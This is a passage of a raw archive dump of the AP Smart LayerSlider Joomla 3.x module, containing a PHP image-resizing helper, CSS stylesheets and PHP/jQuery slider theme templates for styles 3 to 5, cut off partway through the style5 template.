				imagecopyresized($newimage, $image, $dst->x, $dst->y, $src->x, $src->y, $dst->w, $dst->h, $size[0], $size[1]);
			}

			switch ($extension) {
				case 'jpeg':
					call_user_func('image' . $extension, $newimage, $imageCache, $this->_quality);
					break;
				default:
					call_user_func('image' . $extension, $newimage, $imageCache);
					break;
			}
			// free memory
			imagedestroy($image);
			imagedestroy($newimage);
		}

		/**
		 * set quality image will render.
		 */
		function setQuality($number = 9) {
			$this->_quality = $number;
		}

		/**
		 * check the image is a captioned image from other server.
		 *
		 *
		 * @param string the url of image.
		 * @access public,
		 * @return array if it' captioned image, return false if not
		 */
		function isLinkedImage($imageURL) {
			$parser = parse_url($imageURL);
			return strpos(JURI::base(), $parser['host']) ? false : $parser;
		}

		/**
		 * check the file is a image type ?
		 *
		 * @param string $ext
		 * @return boolean.
		 */
		function isImage($ext = '') {
			return in_array($ext, $this->types);
		}

		/**
		 * check the image source is existed ?
		 *
		 * @param string $imageSource the path of image source.
		 * @access public,
		 * @return boolean,
		 */
		function sourceExited($imageSource) {

			if ($imageSource == '' || $imageSource == '..' || $imageSource == '.') {
				return false;
			}
			$imageSource = str_replace(JURI::base(), '', $imageSource);
			$imageSource = rawurldecode($imageSource);
			return (file_exists(JPATH_SITE . '/' . $imageSource));
		}
		
		/**
		 * check the image source is existed ?
		 *
		 * @param string $imageSource the path of image source.
		 * @access public,
		 * @return boolean,
		 */
		function parseImage($row) {
			//check to see if there is an  intro image or fulltext image  first
			$images = "";
			if (isset($row->images)) {
				$images = json_decode($row->images);
			}
			if ((isset($images->image_fulltext) and !empty($images->image_fulltext)) || (isset($images->image_intro) and !empty($images->image_intro))) {
				$image = (isset($images->image_intro) and !empty($images->image_intro)) ? $images->image_intro : ((isset($images->image_fulltext) and !empty($images->image_fulltext)) ? $images->image_fulltext : "");
			} else {
				$regex = '/\<img.+src\s*=\s*\"([^\"]*)\"[^\>]*\>/';
				$text = '';
				$text .= (isset($row->fulltext)) ? $row->fulltext : '';
				$text .= (isset($row->introtext)) ? $row->introtext : '';
				preg_match($regex, $text, $matches);
				$images = (count($matches)) ? $matches : array();
				$image = count($images) > 1 ? $images[1] : '';
			}
			return $image;
		}

	}

}

PK!�#o,,#mod_ap_smart_layerslider/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,,(mod_ap_smart_layerslider/tmpl/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,,6mod_ap_smart_layerslider/tmpl/themes/style3/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!_�i#��6mod_ap_smart_layerslider/tmpl/themes/style3/style3.cssnu&1i�
/* Style 3 */


img.crop{max-width:none;}
.style3 .sp-thumbnails .sp-selected-thumbnail:before {content:"";position:absolute;}
.style3 .sp-thumbnails .sp-thumbnail div.empty{
	background: #e0e0e0;
	background: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI1IiBoZWlnaHQ9IjUiPg0KPHJlY3Qgd2lkdGg9IjUiIGhlaWdodD0iNSIgZmlsbD0iI2UzZTNlMyI+PC9yZWN0Pg0KPHBhdGggZD0iTTAgNUw1IDBaTTYgNEw0IDZaTS0xIDFMMSAtMVoiIHN0cm9rZT0iI2Y0ZjRmNCIgc3Ryb2tlLXdpZHRoPSIxIj48L3BhdGg+DQo8L3N2Zz4=') center center repeat;
	text-align:center;
}
.style3 .sp-top-thumbnails .sp-thumbnail-arrows,
.style3 .sp-bottom-thumbnails .sp-thumbnail-arrows {
	margin-top: -14px;
}
.style3 .sp-left-thumbnails .sp-thumbnail-arrows,
.style3 .sp-right-thumbnails .sp-thumbnail-arrows {
	margin-left:-15px;
}
@media (max-width: 980px) {
.style3 .sp-thumbnails .sp-selected-thumbnail:before {
	width:100px!important;
	height:60px!important;
}
}
@media (max-width: 480px) {
.style3 .sp-thumbnails .sp-selected-thumbnail:before {
	width:80px!important;
	height:50px!important;
}
.style3 .sp-top-thumbnails .sp-thumbnail-arrows,
.style3 .sp-bottom-thumbnails .sp-thumbnail-arrows {
	margin-top: -8px;
}
}PK!�T��X%X%6mod_ap_smart_layerslider/tmpl/themes/style3/style3.phpnu&1i�<?php
/**
 * AP Smart LayerSlider for Joomla 3.x
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

//Path to module's style css
$doc->addStylesheet($baseUri.'tmpl/themes/style'.$theme.'/style'.$theme.'.css');

$countList = count($lists);

//if there is no item ?>
<?php if (isset($lists) && count($lists) == 0) : ?>

<?php //Alert messages ?>
<div class="ap_alert row-fluid">
    <div align="center" class="span12">
        <div class="alert alert-block fade in">
          <button type="button" class="close" data-dismiss="alert" style="font-size:24px;">&times;</button>
            <div id="message" style="text-align:center;margin:0 auto;padding:12px 0 0;line-height:24px;">
                <h4 style="vertical-align:middle;font-size:150%;line-height:30px;margin-left:10px;">
                <span class="label label-important" style="font-size:14px;margin:2px 10px 0;padding:5px 10px;line-height:110%;vertical-align:top">
                <i style="margin-right:8px;" class="fa fa-info-circle"></i>Important!</span>
                <?php if (($params->get('display_form') == 'k2') && count($lists) == 0) : ?> 
                No K2 Articles
                <?php elseif (($params->get('display_form') == 'joomla_content') && count($lists) == 0) : ?> 
                No Joomla Articles
                <?php else : ?> 
                No images in this folder
                <?php endif; ?> 
                </h4><br/>
                <p>
                <?php if (($params->get('display_form') == 'k2') && count($lists) == 0) : ?> 
                Probably <b>K2</b> is not installed or K2 articles are not published. You can download K2 form <b><a style="color:#B94A48;" href="http://getk2.org/index.php" target="_blank">here <i class="fa fa-download"></i></a></b> and install it.
                <?php elseif (($params->get('display_form') == 'joomla_content') && count($lists) == 0) : ?> 
                No <b>Joomla articles</b> are published in this category.
                <?php else : ?> 
                Empty folder. Make sure you put some images in <b>this</b> folder in "AP Smart LayerSlider" module admin.
                <?php endif; ?>  
                </p>
            </div>
        </div>
    </div>  
</div>
<?php else : ?> 
<div id="ap-smart-layerslider-<?php echo $ext_id; ?>" class="slider-pro style3 <?php echo $moduleclass_sfx; ?>">
    <!-- Slides -->
    <div class="sp-slides row-fluid">    
        <?php foreach ($lists as $list) { ?>
            <div class="sp-slide">    
				<?php if (!empty($list->image)) { ?>   
                    <?php if ($params->get('mainimage_mode') == 'none') { ?>  
                      <img class="sp-image" src="modules/mod_ap_smart_layerslider/assets/images/blank.gif" data-src="<?php echo JURI::base().$list->image; ?>" />
                    <?php } else { ?> 
                     <img class="sp-image" src="modules/mod_ap_smart_layerslider/assets/images/blank.gif" data-src="<?php echo $list->image; ?>" />
                    <?php } ?> 
                <?php } ?>             
                <!-- Description (layers) -->
                <div class="ap-layer">
                   <?php echo $list->description; ?>
                </div>
             </div>
         <?php } /* end foreach */ ?>   
  	</div><?php /* End slides */ ?>  

    <?php if ($show_thumbnails == 1) { ?>  
    <!-- Thumbnails -->
      <div class="sp-thumbnails">
		<?php foreach ($lists as $list) { ?>
            <?php if (isset($lists) && count($lists) > 0) { ?>
				<?php if ($params->get('display_form') == 'folder_image') { ?>
					<?php /* Folder image */ ?>
                    <img class="sp-thumbnail crop" src="<?php echo $list->image; ?>" />
                    <?php } else { ?> 
                    <?php if ($params->get('mainimage_mode') == 'none') { ?>
                    <?php /* Joomla or K2 Category */ ?>
                    <?php if (!empty($list->image)) { ?>
                        <img class="sp-thumbnail crop" src="<?php echo $list->thumb; ?>" />
                     <?php } else { ?>
                         <div class="sp-thumbnail empty">no image</div>
                    <?php } ?>   
                 <?php } else { ?>
					<?php /* Joomla or K2 Category */ ?>
                    <?php if (!empty($list->image)) { ?>
                        <img class="sp-thumbnail crop" src="<?php echo $list->thumb; ?>" />
                     <?php } else { ?>
                         <div class="sp-thumbnail empty">no image</div>
                    <?php } ?>
                  <?php } ?> 
			   <?php } ?>
		    <?php } ?> 
		<?php } /* end foreach */ ?>  
     </div><?php /* sp-thumbnails */ ?> 
     <?php } ?> 
        	     
</div><?php /* End ap-smart-layerslider div */ ?>
<?php endif; ?>	

<?php if ($show_thumbnails == 1) { ?> 
<style type="text/css">
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-thumbnails .sp-selected-thumbnail:before {
	box-shadow: inset 0 0 0 <?php echo $thumbnailHeight / 20; ?>px rgba(0,0,0,.4), inset 0 0 15px rgba(0,0,0,.3);
	width:<?php echo $thumbnailWidth; ?>px;
	height:<?php echo $thumbnailHeight; ?>px;	
}
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-thumbnails .sp-thumbnail div.empty{
	width:<?php echo $thumbnailWidth; ?>px;
	height:<?php echo $thumbnailHeight; ?>px;
	line-height:<?php echo $thumbnailHeight; ?>px;
}
<?php if ($thumbnailsPosition == 'right' || $thumbnailsPosition == 'left') { ?>
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-thumbnail-container {margin:3px 0}
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-thumbnails {margin:0 6px;}
<?php } else { ?>
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-thumbnail-container {margin:6px 3px;}
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-thumbnail {margin:0 auto;}
<?php } ?>
<?php if ($thumbnailsPosition == 'right') { ?>
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-full-screen-button {right:<?php echo $thumbnailWidth + 24; ?>px;}
<?php } ?>
</style>
<?php } ?>

<script type="text/javascript">
;(function($){
  $(document).ready(function() {
	$('#ap-smart-layerslider-<?php echo $ext_id; ?>').sliderPro({	
<?php if ($thumbnailsPosition == 'right' || $thumbnailsPosition == 'left') { ?>
	width: <?php echo $image_width - $thumbnailWidth; ?>,
	height: <?php echo $image_height - ($image_width - $thumbnailWidth) * $thumbnailWidth / $image_width; ?>,
<?php } else { ?>
	width: <?php echo $image_width; ?>,
	height: <?php echo $image_height; ?>,
	<?php } ?>
	<?php echo $forceSize ? "forceSize:'".$forceSize."',\n" : "";?>
	<?php echo $visibleSize ? "visibleSize:'".$visibleSize."',\n" : "";?>
	slideDistance: <?php echo $slideDistance; ?>,
	<?php echo $responsive == 1 ? "responsive:true,\n" : "responsive:false,\n";?>
	<?php echo $imageScaleMode ? "imageScaleMode:'".$imageScaleMode."',\n" : "";?>
	<?php echo $autoScaleLayers == 1 ? "autoScaleLayers:true,\n" : "autoScaleLayers:false,\n";?>
	<?php echo $waitForLayers == 1 ? "waitForLayers:true,\n" : "waitForLayers:false,\n";?>
	<?php echo $orientation ? "orientation:'".$orientation."',\n" : "";?>
	<?php echo $loop == 1 ? "loop:true,\n" : "loop:false,\n";?>
	<?php echo $shuffle == 1 ? "shuffle:true,\n" : "";?>
	<?php echo $fullScreen == 1 ? "fullScreen:true,\n" : "";?>
	<?php /* Fade */ ?>
	<?php echo $fadeEffect == 1 ? "fade:true,\n" : "";?>
	<?php echo $fadeOutPreviousSlide == 1 ? "fadeOutPreviousSlide:true,\n" : "fadeOutPreviousSlide:false,\n";?>
	<?php echo $fadeEffect == 1 ? "fadeDuration:".$fadeDuration.",\n" : "";?>
	<?php /* Autoplay */ ?>
	<?php echo $autoplay == 1 ? "autoplay:true,\n" : "autoplay:false,\n";?>
	<?php echo $autoplay == 1 ? "autoplayDelay:".$autoplayDelay.",\n" : "";?>
	<?php echo $autoplay == 1 ? "autoplayOnHover:'".$autoplayOnHover."',\n" : "";?>
	<?php /* Video settings */ ?>
	<?php echo $reachVideoAction ? "reachVideoAction:'".$reachVideoAction."',\n" : "";?>
	<?php echo $leaveVideoAction ? "leaveVideoAction:'".$leaveVideoAction."',\n" : "";?>
	<?php echo $playVideoAction ? "playVideoAction:'".$playVideoAction."',\n" : "";?>
	<?php echo $pauseVideoAction ? "pauseVideoAction:'".$pauseVideoAction."',\n" : "";?>
	<?php echo $endVideoAction ? "endVideoAction:'".$endVideoAction."',\n" : "";?>
	<?php /* Thumbnails */ ?>
	<?php echo $show_thumbnails == 1 ? "thumbnailWidth:".$thumbnailWidth.",\n" : "";?>
	<?php echo $show_thumbnails == 1 ? "thumbnailHeight:".$thumbnailHeight.",\n" : "";?>
	<?php echo $show_thumbnails == 1 ? "thumbnailsPosition:'".$thumbnailsPosition."',\n" : "";?>
	<?php echo $show_thumbnails == 1 || $thumbnailArrows == 1 ? "thumbnailArrows:true,\n" : "";?>
	<?php /* Arrows and Buttons */ ?>
	<?php echo $show_arrows == 1 ? "arrows:true,\n" : "arrows:false,\n";?>
	<?php echo $show_buttons == 1 ? "buttons:true,\n" : "buttons:false,\n";?>
		breakpoints: {
			1199: {
				thumbnailsPosition: 'bottom'
			},
			979: {
				thumbnailsPosition: 'bottom',
				thumbnailWidth: 100,
				thumbnailHeight: 60
			},
			480: {
				thumbnailsPosition: 'bottom',
				thumbnailWidth: 80,
				thumbnailHeight: 50
			}
		}
	});
	$("#ap-smart-layerslider-<?php echo $ext_id; ?> .ap-layer").not(".sp-layer").contents().filter(function(){return this.nodeType == 3;}).remove();
	$("#ap-smart-layerslider-<?php echo $ext_id; ?> .ap-layer").children().not(".sp-layer").remove();
  });<?php /* end doc ready */ ?>
})(jQuery);
</script>PK!����6mod_ap_smart_layerslider/tmpl/themes/style4/style4.cssnu&1i�
/* Style 4 */

a.sp-video:after {
	/* left: -1em; */
  -webkit-box-shadow: 0 0 2em rgba(255,255,255,.4);
  -moz-box-shadow: 0 0 2em rgba(255,255,255,.4);
  box-shadow: 0 0 2em rgba(255,255,255,.4);
}

.vjs-default-skin .vjs-big-play-button {
  width: 2.2em;
  height: 2.2em;
  left: 50%;
  margin-left: -1.2em;
  /* Center it vertically */
  top: 50%;
  margin-top: -1.3000000000000001em;
  /* background-color-with-alpha */
  background-color: #07141e;
  background-color:rgba(7,20,30,0.4);
  border: 2px solid #e0e0e0;
  border: 2px solid rgba(255,255,255,.4);
  /* border-radius */
  -webkit-border-radius: 50%;
  -moz-border-radius: 50%;
  border-radius:50%;
  /* box-shadow */
  -webkit-box-shadow: 0px 0px 1em rgba(255, 255, 255, 0.25);
  -moz-box-shadow: 0px 0px 1em rgba(255, 255, 255, 0.25);
  box-shadow: 0px 0px 1em rgba(255, 255, 255, 0.25);
  -webkit-transition: all 0.3s ease-in-out;
  -moz-transition: all 0.3s ease-in-out;
  -o-transition: all 0.3s ease-in-out;
  transition: all 0.3s ease-in-out;
}
.vjs-default-skin:hover .vjs-big-play-button,
.vjs-default-skin .vjs-big-play-button:focus {
  outline: 0;
  border-color: #f3f3f3;
  /* IE8 needs a non-glow hover state */
  background-color: #505050;
  background-color: rgba(10, 10, 10, 0.55);
  /* box-shadow */
  -webkit-box-shadow: 0 0 2em rgba(255,255,255,.7);
  -moz-box-shadow: 0 0 2em rgba(255,255,255,.7);
  box-shadow: 0 0 2em rgba(255,255,255,.7);
  /* transition */
  -webkit-transition: all 0.3s ease-in-out;
  -moz-transition: all 0.3s ease-in-out;
  -o-transition: all 0.3s ease-in-out;
  transition: all 0.3s ease-in-out;
}
.vjs-default-skin .vjs-big-play-button:before {
  content: "\e001";
  font-family: VideoJS;
  /* In order to center the play icon vertically we need to set the line height to the same as the button height */
  line-height: 2.2em;
  text-shadow: 0.04em 0.04em 0.05em rgba(0,0,0,.3);
  text-align: center /* Needed for IE8 */;
  position: absolute;
  left: 0.12em;
  width: 100%;
  height: 100%;
}PK!�cξ6mod_ap_smart_layerslider/tmpl/themes/style4/style4.phpnu&1i�<?php
/**
 * AP Smart LayerSlider for Joomla 3.x
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

//Path to module's style css
$doc->addStylesheet($baseUri.'tmpl/themes/style'.$theme.'/style'.$theme.'.css');

$countList = count($lists);

//if there is no item ?>
<?php if (isset($lists) && count($lists) == 0) : ?>

<?php //Alert messages ?>
<div class="ap_alert row-fluid">
    <div align="center" class="span12">
        <div class="alert alert-block fade in">
          <button type="button" class="close" data-dismiss="alert" style="font-size:24px;">&times;</button>
            <div id="message" style="text-align:center;margin:0 auto;padding:12px 0 0;line-height:24px;">
                <h4 style="vertical-align:middle;font-size:150%;line-height:30px;margin-left:10px;">
                <span class="label label-important" style="font-size:14px;margin:2px 10px 0;padding:5px 10px;line-height:110%;vertical-align:top">
                <i style="margin-right:8px;" class="fa fa-info-circle"></i>Important!</span>
                <?php if (($params->get('display_form') == 'k2') && count($lists) == 0) : ?> 
                No K2 Articles
                <?php elseif (($params->get('display_form') == 'joomla_content') && count($lists) == 0) : ?> 
                No Joomla Articles
                <?php else : ?> 
                No images in this folder
                <?php endif; ?> 
                </h4><br/>
                <p>
                <?php if (($params->get('display_form') == 'k2') && count($lists) == 0) : ?> 
                Probably <b>K2</b> is not installed or K2 articles are not published. You can download K2 form <b><a style="color:#B94A48;" href="http://getk2.org/index.php" target="_blank">here <i class="fa fa-download"></i></a></b> and install it.
                <?php elseif (($params->get('display_form') == 'joomla_content') && count($lists) == 0) : ?> 
                No <b>Joomla articles</b> are published in this category.
                <?php else : ?> 
                Empty folder. Make sure you put some images in <b>this</b> folder in "AP Smart LayerSlider" module admin.
                <?php endif; ?>  
                </p>
            </div>
        </div>
    </div>  
</div>
<?php else : ?> 
<div id="ap-smart-layerslider-<?php echo $ext_id; ?>" class="slider-pro style4 <?php echo $moduleclass_sfx; ?>">
    <!-- Slides -->
    <div class="sp-slides row-fluid">    
        <?php foreach ($lists as $list) { ?>
            <div class="sp-slide">
				<?php if (!empty($list->image)) { ?>   
                    <?php if ($params->get('mainimage_mode') == 'none') { ?>  
                      <img class="sp-image" src="modules/mod_ap_smart_layerslider/assets/images/blank.gif" data-src="<?php echo JURI::base().$list->image; ?>" />
                    <?php } else { ?> 
                     <img class="sp-image" src="modules/mod_ap_smart_layerslider/assets/images/blank.gif" data-src="<?php echo $list->image; ?>" />
                    <?php } ?> 
                <?php } ?>             
                <!-- Description (layers) -->
                <div class="ap-layer">
                    <?php echo $list->description; ?>
                </div>
             </div>
		  <?php } /* end foreach */ ?>  
     </div><?php /* Slides */ ?> 
           	     
</div><?php /* End ap-smart-layerslider div */ ?>
<?php endif; ?>	

<script type="text/javascript">
;(function($){
	$(document).ready(function() {	
	$('#ap-smart-layerslider-<?php echo $ext_id; ?>').sliderPro({
		width: <?php echo $image_width; ?>,
		height: <?php echo $image_height; ?>,
		<?php echo $forceSize ? "forceSize:'".$forceSize."',\n" : "";?>
		<?php echo $visibleSize ? "visibleSize:'".$visibleSize."',\n" : "";?>
		slideDistance: <?php echo $slideDistance; ?>,
		<?php echo $responsive == 1 ? "responsive:true,\n" : "responsive:false,\n";?>
		<?php echo $imageScaleMode ? "imageScaleMode:'".$imageScaleMode."',\n" : "";?>
		<?php echo $autoScaleLayers == 1 ? "autoScaleLayers:true,\n" : "autoScaleLayers:false,\n";?>
		<?php echo $waitForLayers == 1 ? "waitForLayers:true,\n" : "waitForLayers:false,\n";?>	
		<?php echo $orientation ? "orientation:'".$orientation."',\n" : "";?>
		<?php echo $loop == 1 ? "loop:true,\n" : "loop:false,\n";?>	
		<?php echo $shuffle == 1 ? "shuffle:true,\n" : "";?>
		<?php echo $fullScreen == 1 ? "fullScreen:true,\n" : "";?>
		<?php /* Fade */ ?>
		<?php echo $fadeEffect == 1 ? "fade:true,\n" : "";?>
		<?php echo $fadeEffect == 1 && $fadeOutPreviousSlide == 1 ? "fadeOutPreviousSlide:true,\n" : "fadeOutPreviousSlide:false,\n";?>
		<?php echo $fadeEffect == 1 ? "fadeDuration:".$fadeDuration.",\n" : "";?>
		<?php /* Autoplay */ ?>
		<?php echo $autoplay == 1 ? "autoplay:true,\n" : "autoplay:false,\n";?>
		<?php echo $autoplay == 1 ? "autoplayDelay:".$autoplayDelay.",\n" : "";?>
		<?php echo $autoplay == 1 ? "autoplayOnHover:'".$autoplayOnHover."',\n" : "";?>
		<?php /* Video settings */ ?>
		<?php echo $reachVideoAction ? "reachVideoAction:'".$reachVideoAction."',\n" : "";?>
		<?php echo $leaveVideoAction ? "leaveVideoAction:'".$leaveVideoAction."',\n" : "";?>
		<?php echo $playVideoAction ? "playVideoAction:'".$playVideoAction."',\n" : "";?>
		<?php echo $pauseVideoAction ? "pauseVideoAction:'".$pauseVideoAction."',\n" : "";?>
		<?php echo $endVideoAction ? "endVideoAction:'".$endVideoAction."',\n" : "";?>
		<?php /* Arrows and Buttons */ ?>		
		<?php echo $show_arrows == 1 ? "arrows:true,\n" : "arrows:false,\n";?>
		<?php echo $show_buttons == 1 ? "buttons:true,\n" : "buttons:false,\n";?>
		autoHeight: true <?php /* for this theme */ ?>
	});
	$("#ap-smart-layerslider-<?php echo $ext_id; ?> .ap-layer").not(".sp-layer").contents().filter(function(){return this.nodeType == 3;}).remove();
	$("#ap-smart-layerslider-<?php echo $ext_id; ?> .ap-layer").children().not(".sp-layer").remove();
  });<?php /* end doc ready */ ?>
})(jQuery);
</script>

PK!�#o,,6mod_ap_smart_layerslider/tmpl/themes/style4/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,,/mod_ap_smart_layerslider/tmpl/themes/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!��l�Q.Q.6mod_ap_smart_layerslider/tmpl/themes/style5/style5.phpnu&1i�<?php
/**
 * AP Smart LayerSlider for Joomla 3.x
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

//Path to module's style css
$doc->addStylesheet($baseUri.'tmpl/themes/style'.$theme.'/style'.$theme.'.css');

$countList = count($lists);

//if there is no item ?>
<?php if (isset($lists) && count($lists) == 0) : ?>

<?php //Alert messages ?>
<div class="ap_alert row-fluid">
    <div align="center" class="span12">
        <div class="alert alert-block fade in">
          <button type="button" class="close" data-dismiss="alert" style="font-size:24px;">&times;</button>
            <div id="message" style="text-align:center;margin:0 auto;padding:12px 0 0;line-height:24px;">
                <h4 style="vertical-align:middle;font-size:150%;line-height:30px;margin-left:10px;">
                <span class="label label-important" style="font-size:14px;margin:2px 10px 0;padding:5px 10px;line-height:110%;vertical-align:top">
                <i style="margin-right:8px;" class="fa fa-info-circle"></i>Important!</span>
                <?php if (($params->get('display_form') == 'k2') && count($lists) == 0) : ?> 
                No K2 Articles
                <?php elseif (($params->get('display_form') == 'joomla_content') && count($lists) == 0) : ?> 
                No Joomla Articles
                <?php else : ?> 
                No images in this folder
                <?php endif; ?> 
                </h4><br/>
                <p>
                <?php if (($params->get('display_form') == 'k2') && count($lists) == 0) : ?> 
                Probably <b>K2</b> is not installed or K2 articles are not published. You can download K2 form <b><a style="color:#B94A48;" href="http://getk2.org/index.php" target="_blank">here <i class="fa fa-download"></i></a></b> and install it.
                <?php elseif (($params->get('display_form') == 'joomla_content') && count($lists) == 0) : ?> 
                No <b>Joomla articles</b> are published in this category.
                <?php else : ?> 
                Empty folder. Make sure you put some images in <b>this</b> folder in "AP Smart LayerSlider" module admin.
                <?php endif; ?>  
                </p>
            </div>
        </div>
    </div>  
</div>
<?php else : ?> 
<div id="ap-smart-layerslider-<?php echo $ext_id; ?>" class="slider-pro style5 <?php echo $moduleclass_sfx; ?>">
    <!-- Slides -->
    <div class="sp-slides row-fluid">    
        <?php foreach ($lists as $list) { ?>
            <div class="sp-slide">
				<?php if (!empty($list->image)) { ?>   
                    <?php if ($params->get('mainimage_mode') == 'none') { ?>  
                      <img class="sp-image crop" src="modules/mod_ap_smart_layerslider/assets/images/blank.gif" data-src="<?php echo JURI::base().$list->image; ?>" />
                    <?php } else { ?> 
                     <img class="sp-image crop" src="modules/mod_ap_smart_layerslider/assets/images/blank.gif" data-src="<?php echo $list->image; ?>" />
                    <?php } ?> 
                <?php } ?>              
                <!-- Description (layers) -->
                <div class="ap-layer">
                    <?php echo $list->description; ?>
                </div>
                <?php if ($display_caption == 1) { ?>
                   <!-- Captions -->
                   <?php if ($params->get('display_form') == 'folder_image') { ?>
                     <div class="sp-caption"><?php echo $list->caption; ?></div>
                   <?php } else { ?> 
                     <div class="sp-caption">
					 <?php echo modApSmartLayersliderHelper::trimChar($list->description, $params->get('description_max_chars', 70)); ?>
                     </div>
                  <?php } ?> 
                <?php } ?>    
             </div>
		  <?php } /* end foreach */ ?>  
     </div><?php /* Slides */ ?> 
    
    <?php if ($show_thumbnails == 1) { ?>  
    <!-- Thumbnails -->
    <div class="sp-thumbnails">
	   <?php foreach ($lists as $list) { ?>
			<div class="sp-thumbnail">  
                <div class="sp-thumbnail-image-container">
                 <?php if (isset($lists) && count($lists) > 0) { ?>
                    <?php if ($params->get('display_form') == 'folder_image') { ?>
                            <?php /* Folder image */ ?>
                            <img class="sp-thumbnail-image crop" src="<?php echo $list->image; ?>" />            
                    <?php } else { ?>        
                        <?php if ($params->get('mainimage_mode') == 'none') { ?>
                            <?php /* Joomla or K2 Category */ ?>
                            <?php if (!empty($list->image)) { ?>
                                <img class="sp-thumbnail-image crop" src="<?php echo $list->thumb; ?>" />
                             <?php } else { ?>
                                 <div class="sp-thumbnail-image empty">no image</div>
                            <?php } ?>   
                        <?php } else { ?>
                            <?php /* Joomla or K2 Category */ ?>
                            <?php if (!empty($list->image)) { ?>
                                <img class="sp-thumbnail-image crop" src="<?php echo $list->thumb; ?>" />  
                             <?php } else { ?>
                                 <div class="sp-thumbnail-image empty">no image</div>
                            <?php } ?>
                        <?php } ?>   
                    <?php } ?>
                <?php } ?> 
                </div>
                
                <div class="sp-thumbnail-text">
                   <h4 class="sp-thumbnail-title"><?php echo $list->title; ?></h4> 
                    <?php if ($show_thumbnail_description == 1) { ?>
                    <div class="sp-thumbnail-description">
					<?php echo modApSmartLayersliderHelper::trimChar($list->description, $params->get('thumbnail_description_max_chars', 50)); ?>
                    </div>
                    <?php } ?>  
                </div>
    		</div>
		<?php } /* end foreach */ ?>  
     </div><?php /* sp-thumbnails */ ?>
     <?php } ?>  
            	     
</div><?php /* End ap-smart-layerslider div */ ?>
<?php endif; ?>	

<?php if ($show_thumbnails == 1) { ?> 
<style type="text/css">
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-top-thumbnails .sp-thumbnail-container,
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-bottom-thumbnails .sp-thumbnail-container {
	height:<?php echo $thumbnailHeight + 18; ?>px!important;
}
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-thumbnail-image-container {
	width:<?php echo $thumbnailHeight + 20; ?>px;
	height:<?php echo $thumbnailHeight; ?>px;
}
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-thumbnail-text {
	width:<?php echo $thumbnailWidth - $thumbnailHeight - 22; ?>px;
	height:<?php echo $thumbnailHeight; ?>px;
}
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-left-thumbnails.sp-has-pointer .sp-thumbnail-text,
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-right-thumbnails.sp-has-pointer .sp-thumbnail-text {
	width:<?php echo $thumbnailWidth - $thumbnailHeight - 38; ?>px;
}
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-top-thumbnails.sp-has-pointer .sp-selected-thumbnail:before,
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-bottom-thumbnails.sp-has-pointer .sp-selected-thumbnail:before {
	width:<?php echo $thumbnailWidth - 2; ?>px;
}	
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-thumbnail-image-container img.crop{
	margin:0 0 0 -<?php echo ($thumbnailHeight + 20) / 5; ?>px;
}
#ap-smart-layerslider-<?php echo $ext_id; ?> div.empty{
	width:<?php echo $thumbnailHeight + 20; ?>px;
	height:<?php echo $thumbnailHeight; ?>px;
	line-height:<?php echo $thumbnailHeight; ?>px;
}
<?php if ($thumbnailsPosition == 'right') { ?>
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-full-screen-button {right:<?php echo $thumbnailWidth - 4; ?>px;}
<?php } ?>
@media (max-width: 480px) {
	#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-thumbnails-container,
	#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-thumbnails .sp-thumbnail .sp-thumbnail-text {
		width: 120px;
		height:<?php echo $thumbnailHeight; ?>px;
	}
}
</style>
<?php } ?>
<script type="text/javascript">
;(function($){
	$(document).ready(function() {	
	$('#ap-smart-layerslider-<?php echo $ext_id; ?>').sliderPro({
<?php if ($show_thumbnails == "1" && $thumbnailsPosition == 'right' || $thumbnailsPosition == 'left') { ?>
	width: <?php echo $image_width - $thumbnailWidth; ?>,
	height: <?php echo $image_height - ($image_width - $thumbnailWidth) * $thumbnailWidth / $image_width; ?>,
<?php } else { ?>
	width: <?php echo $image_width; ?>,
	height: <?php echo $image_height; ?>,
<?php } ?>
	<?php echo $forceSize ? "forceSize:'".$forceSize."',\n" : "";?>
	<?php echo $visibleSize ? "visibleSize:'".$visibleSize."',\n" : "";?>
	slideDistance: <?php echo $slideDistance; ?>,
	<?php echo $responsive == 1 ? "responsive:true,\n" : "responsive:false,\n";?>
	<?php echo $imageScaleMode ? "imageScaleMode:'".$imageScaleMode."',\n" : "";?>
	<?php echo $autoHeight == 1 ? "autoHeight:true,\n" : "";?>
	<?php echo $autoScaleLayers == 1 ? "autoScaleLayers:true,\n" : "autoScaleLayers:false,\n";?>
